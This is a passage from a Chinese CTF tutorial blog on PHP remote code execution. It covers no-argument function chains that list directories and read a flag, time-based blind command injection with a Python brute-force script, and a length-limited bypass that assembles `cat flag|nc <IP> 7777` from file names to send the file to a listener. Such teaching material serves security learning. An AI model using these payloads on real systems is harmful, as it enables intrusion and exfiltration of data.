style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">scandir</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">current</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">localeconv</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/83.png\" class=\"\"></p>\n<p>这里为了方便，我把php文件和flag.txt放在了flag文件夹里</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/84.png\" class=\"\"></p>\n<p>那么我们可以采用这种方法：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>print_r(array_reverse(scandir(current(localeconv()))));</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/85.png\" class=\"\"></p>\n<p>用array_reverse把数组倒序排列之后我们就可以再用current()和show_source读取到文件内容了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>show_source(current(array_reverse(scandir(current(localeconv())))));</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/86.png\" class=\"\"></p>\n<h3 id=\"dirname\"><a class=\"anchor\" href=\"#dirname\">#</a> dirname()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>dirname()：可以把上一个目录的绝对路径输出</span></span></code></pre>\n<p>那么我想查看上级目录就可以用到：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>print_r(scandir(dirname(getcwd())));</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/87.png\" class=\"\"></p>\n<p>不过这种条件下我们不能使用show_source来查看文件，因为show_source是基于当前页面路径来的，一定要查看的话就只能使用chdir()了</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=print_r(chdir(dirname(getcwd())));</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/88.png\" class=\"\"></p>\n<p>返回1说明目录跳转到上级成功</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/89.png\" class=\"\"></p>\n<p>我的理解就是后半部分为chdir跳转目录的参数，与实际是否跳转目录无关，最后再dirname帮助用户从视觉上跳转到上级目录，这样就可以用show_source查看文件了</p>\n<p>那像这种情况，我想读取的文件既不在开头又不在末尾，就可以使用array_flip和array_rand</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=print_r(array_flip(array_rand(scandir(dirname(chdir(dirname(getcwd())))))));</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/90.png\" class=\"\"></p>\n<p>这样虽然是随机的，但是多刷新几次总会能用show_source查看到的：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));</span></span>\n<span class=\"line\"><span>//由于没有把flag.txt转移出来，将就看咯^ _ ^</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/91.png\" class=\"\"></p>\n<h3 id=\"根目录\"><a class=\"anchor\" href=\"#根目录\">#</a> 根目录</h3>\n<p>我想回到根目录怎么操作：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=print_r(array());</span></span>\n<span class=\"line\"><span>/?code=print_r(serialize(array()));</span></span>\n<span class=\"line\"><span>//用serialize序列化</span></span>\n<span class=\"line\"><span>/?code=print_r(crypt(serialize(array())));</span></span>\n<span class=\"line\"><span>//crypt单向字符串三列加密，结果随机</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/92.png\" class=\"\"></p>\n<p>某些随机的结果下，字符串末尾会出现<code>/</code>根目录字符，此时只需要使用strrev进行倒序排列</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=print_r(strrev(crypt(serialize(array()))));</span></span></code></pre>\n<h3 id=\"ord与chr\"><a class=\"anchor\" href=\"#ord与chr\">#</a> ord()与chr()</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ord()：对字符串的第一个字符进行编码</span></span>\n<span class=\"line\"><span>chr()：对编码字符进行解码</span></span></code></pre>\n<p>有了这两个函数我们就可以从长串字符串中获得第一个<code>/</code>字符</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=print_r(chr(ord(strrev(crypt(serialize(array()))))));</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/93.png\" class=\"\"></p>\n<p>然后我们继续采用scandir就可以实现与ls /一样的功能了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));</span></span></code></pre>\n<p>通常情况下根目录下flag文件都不会出现在首末，所以又需要一个随机的array_rand(array_flip())套上去</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=print_r(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));</span></span></code></pre>\n<p>这样随机加上随机，等查看到flag不知道要刷新多少次，建议使用burp的intruder</p>\n<p>还记得show_source的特性吗，必须还要嵌套上dirname(chdir()):</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?code=print_r(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));</span></span></code></pre>\n<h1 id=\"无回显\"><a class=\"anchor\" href=\"#无回显\">#</a> 无回显</h1>\n<p>页面无法shell反弹或者无法回显，或者没有写入权限可以尝试命令盲注，根据返回时间判断</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sleep：指定页面响应时间</span></span>\n<span class=\"line\"><span>awk NR：语法为awk NR==number，比如awk NR==1为回显第一行的内容</span></span>\n<span class=\"line\"><span>//cat flag|awk NR==1</span></span>\n<span class=\"line\"><span>cut -c：语法为cut -c number，比如cut -c 1为显示第一个字符</span></span>\n<span class=\"line\"><span>//cat flag|awk NR==1|cut -c 1</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/94.png\" class=\"\"></p>\n<p>if判断语句：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>if [ /*条件*/ ];then /*动作*/;fi(finish的意思)</span></span>\n<span class=\"line\"><span>//注意空格</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/95.png\" class=\"\"></p>\n<p>所以可以类比SQL注入里面的时间盲注：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>if [ $(cat flag.txt|awk NR==1|cut -c 1)==f ];then sleep 2;fi</span></span></code></pre>\n<p>如果条件为真，那么延迟两秒响应，这里是橙子科技给的python脚本：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> time</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/*目标URL*/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> i </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> j </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> k </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">32</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">128</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            k</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">chr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">k</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            time</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">sleep</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0.1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            payload</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">?cmd=(传参格式)</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">if [ `ls|awk NR==</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;i&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">|cut -c </span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;j&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">`==</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;k&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> ];then sleep 2;fi</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">timeout</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1.5</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1.5</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            except</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                result</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">k</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                break</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    result </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span></span></code></pre>\n<p>需要修改的就是目标URL和传参格式以及命令</p>\n<h1 id=\"限制长度的rce\"><a class=\"anchor\" href=\"#限制长度的rce\">#</a> 限制长度的RCE</h1>\n<p>这一part本人的docker有点问题就没有演示了<strong>orz</strong></p>\n<h2 id=\"限制长度为7\"><a class=\"anchor\" href=\"#限制长度为7\">#</a> 限制长度为7</h2>\n<p>例题：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> filter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argv</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str_replace</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"/</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">\\</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">*</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">|\\?|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">=====</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argv</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">isset</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x26;&#x26;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">7</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    exec</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">filter</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">]</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag in local path flag file!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>需要的命令符：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>> 创建不超过七个长度的文件名</span></span>\n<span class=\"line\"><span>ls -t 按时间顺序列出文件名，按行储存</span></span>\n<span class=\"line\"><span>\\ 连接换行命令</span></span>\n<span class=\"line\"><span>sh 从文件中读取命令</span></span></code></pre>\n<p>期望执行的命令：<code>cat flag|nc /*IP*/ 7777</code>比如：<code>cat flag|nc 192.168.1.161 7777</code></p>\n<p>我们的逻辑是将这一串命令分隔为几部分作为文件名，这些文件名用<code>ls -t</code>会按被创建的时间顺序排列：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>>ZL</span></span>\n<span class=\"line\"><span>>AR</span></span>\n<span class=\"line\"><span>>YY</span></span>\n<span class=\"line\"><span>最后ls查看结果为：</span></span>\n<span class=\"line\"><span>YY AR ZL</span></span></code></pre>\n<p>当我们按倒序创建文件之后，就可以利用<code>ls -t&gt;a</code>将这些文件放在a文件中，最后<code>sh a</code>就可以执行需要的命令了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?cmd=>7777</span></span>\n<span class=\"line\"><span>?cmd=>\\ \\\\</span></span>\n<span class=\"line\"><span>//在创建文件名时利用到的空格和反斜杠和管道符都需要被转义</span></span>\n<span class=\"line\"><span>?cmd=>161\\\\</span></span>\n<span class=\"line\"><span>?cmd=>1.\\\\</span></span>\n<span class=\"line\"><span>?cmd=>168.\\\\</span></span>\n<span class=\"line\"><span>?cmd=>192.\\\\</span></span>\n<span class=\"line\"><span>?cmd=>c\\ \\\\</span></span>\n<span class=\"line\"><span>?cmd=>\\|n\\\\</span></span>\n<span class=\"line\"><span>?cmd=>flag\\\\</span></span>\n<span class=\"line\"><span>?cmd=>t\\ \\\\</span></span>\n<span class=\"line\"><span>?cmd=>ca\\\\</span></span>\n<span class=\"line\"><span>?cmd=ls -t>a</span></span>\n<span class=\"line\"><span>?cmd=sh a</span></span></code></pre>\n<p>首先要开启kali监听：<code>nc -lvp 7777</code></p>\n<h2 id=\"长度为5\"><a class=\"anchor\" href=\"#长度为5\">#</a> 长度为5</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> filter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argv</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span 